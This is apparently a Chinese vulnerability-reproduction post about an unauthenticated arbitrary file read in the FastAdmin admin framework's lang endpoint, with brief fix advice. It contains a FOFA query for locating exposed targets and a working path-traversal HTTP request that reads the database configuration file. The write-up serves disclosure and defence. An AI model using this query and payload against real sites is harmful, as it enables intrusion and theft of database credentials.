当前位置: 首页 > news >正文

FastAdmin后台开发框架 lang 任意文件读取漏洞复现

0x01 产品简介

FastAdmin是一款基于PHP+Bootstrap的开源后台框架,专为开发者精心打造。它基于ThinkPHP和Bootstrap两大主流技术构建,拥有完善的权限管理系统和一键生成CRUD等强大功能。FastAdmin致力于提高开发效率,降低开发成本,同时确保后台系统的稳定性和安全性。

0x02 漏洞概述

FastAdmin后台开发框架 /index/ajax/lang 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。

0x03 复现环境

FOFA:

body="fastadmin.net" || body="<h1>fastadmin</h1>" && title="fastadmin"

0x04 漏洞复现

PoC

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

 读取数据库配置

0x05 修复建议

关闭互联网暴露面或接口设置访问权限

升级至安全版本

相关文章:

  • ListModel 是 Qt Quick 中用于存储数据模型的元素,通常用于在视图组件(如 ListView、GridView)中显示数据
  • 2. 音视频H264
  • unity38——MemoryProfiler性能分析器,截帧分析当前性能占用率的具体文件
  • 基于EXCEL数据表格创建省份专题地图
  • 什么是模板字符串?
  • 路由控制和策略路由
  • Transformer革新:Infini-Transformer在长文本处理中的突破
  • 前端菜鸡学习日记 -- 关于pnpm
  • MySQL触发器基本结构
  • mongosh 和mongo 命令行连接MongoDB
  • 独立游戏之路:Tap篇 -- Unity 集成 TapTap 广告详细步骤
  • JavaScript 中的 AbortController
  • k8s 证书更新
  • Blazor 中的状态管理
  • MongoDB 多层级查询
  • 微信小程序修改标题
  • 力扣(2024.06.17)
  • 【SCAU数据挖掘】数据挖掘期末总复习题库简答题及解析——中
  • c++ 智能指针使用注意事项及解决方案
  • 教学资源共享平台的设计
  • “五一”假期文旅热度创近3年新高,入境游订单飙升130%
  • 国铁集团:铁路五一假期旅客发送量累计已超1亿人次
  • 干细胞从科研到市场应用有多远?发展还面临何挑战?
  • 特朗普:对所有在国外制作进入美国的电影征收100%关税
  • 经常犯困、迷糊……当心是身体发出的“黄牌”警告
  • “五一”第三天郑州铁路局预计发送旅客76万人